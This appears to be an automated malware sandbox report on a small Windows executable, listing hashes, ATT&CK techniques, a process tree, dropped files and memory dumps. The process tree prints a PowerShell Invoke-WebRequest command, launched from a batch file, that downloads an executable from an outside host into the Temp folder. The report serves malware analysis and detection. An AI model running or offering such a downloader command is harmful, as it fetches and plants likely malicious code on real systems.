51aa38810bf2c2f6f08eee6a75809543e78dc241a4587a8d0a0b0a76883be58a

General

Target

20240826-1019_f53c60f1bc01c38d6ea6284d6c2bfc23.exe
Size

6KB
MD5

01846777e9d687771f28a1df5797b151
SHA1

4ede6b7ebee249b6cb241d1fb4b23f79d9aeca12
SHA256

51aa38810bf2c2f6f08eee6a75809543e78dc241a4587a8d0a0b0a76883be58a
SHA512

9e189c2ec6fbe481e4c3c6b3f0c5a648dcebd1779d70d938f9d193e157fcbe5c092ba438a662837fb1473bbf7e89bea3efc4c289d3d36130e7c37719834c8927
SSDEEP

48:0Pzuz3/foXeYDjyaAYqMettsQSaJiTi8xLEcztPLb3b3vr5vEuu6P+65I6rbJu:0P67TeuaABBDSyst9pvr51V+65vu

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
14	3636	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
3636	powershell.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	20240826-1019_f53c60f1bc01c38d6ea6284d6c2bfc23.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3636	powershell.exe
3636	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3636	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4760 wrote to memory of 4844	4760	20240826-1019_f53c60f1bc01c38d6ea6284d6c2bfc23.exe	85
PID 4760 wrote to memory of 4844	4760	20240826-1019_f53c60f1bc01c38d6ea6284d6c2bfc23.exe	85
PID 4760 wrote to memory of 4844	4760	20240826-1019_f53c60f1bc01c38d6ea6284d6c2bfc23.exe	85
PID 4844 wrote to memory of 3636	4844	cmd.exe	86
PID 4844 wrote to memory of 3636	4844	cmd.exe	86
PID 4844 wrote to memory of 3636	4844	cmd.exe	86

C:\Users\Admin\AppData\Local\Temp\20240826-1019_f53c60f1bc01c38d6ea6284d6c2bfc23.exe
"C:\Users\Admin\AppData\Local\Temp\20240826-1019_f53c60f1bc01c38d6ea6284d6c2bfc23.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4760
- C:\Windows\SysWOW64\cmd.exe
  /c ""C:\Users\Admin\AppData\Local\Temp\240629109.bat" "
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4844
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "Invoke-WebRequest -Uri https://d.kuku.lu/pzdpx22ew -OutFile C:\Users\Admin\AppData\Local\Temp\example.exe"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3636

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\240629109.bat

Filesize
267B

MD5
e935a45a7b718a715580e8ce15b12171

SHA1
ce4a1affe0076f8dd33793986c67a17dd3b74556

SHA256
76a0521bce7829098c7332ea262765db1d10203fbccfd2ded167700a3eb8d15d

SHA512
1f57509a300893384bc71cb4b973177838f5aea12010101df89d1fa97995a91635b2fcf756a76a22e41189dd2c03445b3f930568461f787ed6c17eb2930a36e4

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qdqg5q24.e3o.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\example.exe

Filesize
32KB

MD5
87e6afd2ee63f551b4506319665bad7d

SHA1
6490c36886505272944f4570ef2a8ba752163e62

SHA256
ca5f0ecf24e979ebb15ba476fd0bc5df032b35cd41290a214323bf33e094413b

SHA512
9e1684f530fdfcd36f51434a63b9752a569c2db9601cf58486be79fcef797f3c4f3ef3bd407c6d57c13661362be5281c8df98bd9da00490237c485234a47be95

Download Submit
memory/3636-9-0x00000000061F0000-0x0000000006256000-memory.dmp

Filesize
408KB

Download
memory/3636-19-0x0000000006260000-0x00000000065B4000-memory.dmp

Filesize
3.3MB

Download
memory/3636-6-0x0000000075290000-0x0000000075A40000-memory.dmp

Filesize
7.7MB

Download
memory/3636-7-0x00000000058B0000-0x00000000058D2000-memory.dmp

Filesize
136KB

Download
memory/3636-8-0x0000000006180000-0x00000000061E6000-memory.dmp

Filesize
408KB

Download
memory/3636-4-0x0000000005AA0000-0x00000000060C8000-memory.dmp

Filesize
6.2MB

Download
memory/3636-3-0x0000000003240000-0x0000000003276000-memory.dmp

Filesize
216KB

Download
memory/3636-5-0x0000000075290000-0x0000000075A40000-memory.dmp

Filesize
7.7MB

Download
memory/3636-20-0x0000000006880000-0x000000000689E000-memory.dmp

Filesize
120KB

Download
memory/3636-21-0x00000000068B0000-0x00000000068FC000-memory.dmp

Filesize
304KB

Download
memory/3636-22-0x0000000007EF0000-0x000000000856A000-memory.dmp

Filesize
6.5MB

Download
memory/3636-23-0x0000000006D90000-0x0000000006DAA000-memory.dmp

Filesize
104KB

Download
memory/3636-27-0x0000000075290000-0x0000000075A40000-memory.dmp

Filesize
7.7MB

Download
memory/3636-2-0x000000007529E000-0x000000007529F000-memory.dmp

Filesize
4KB

Download
memory/4760-29-0x0000000000400000-0x0000000000407000-memory.dmp

Filesize
28KB

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Analysis

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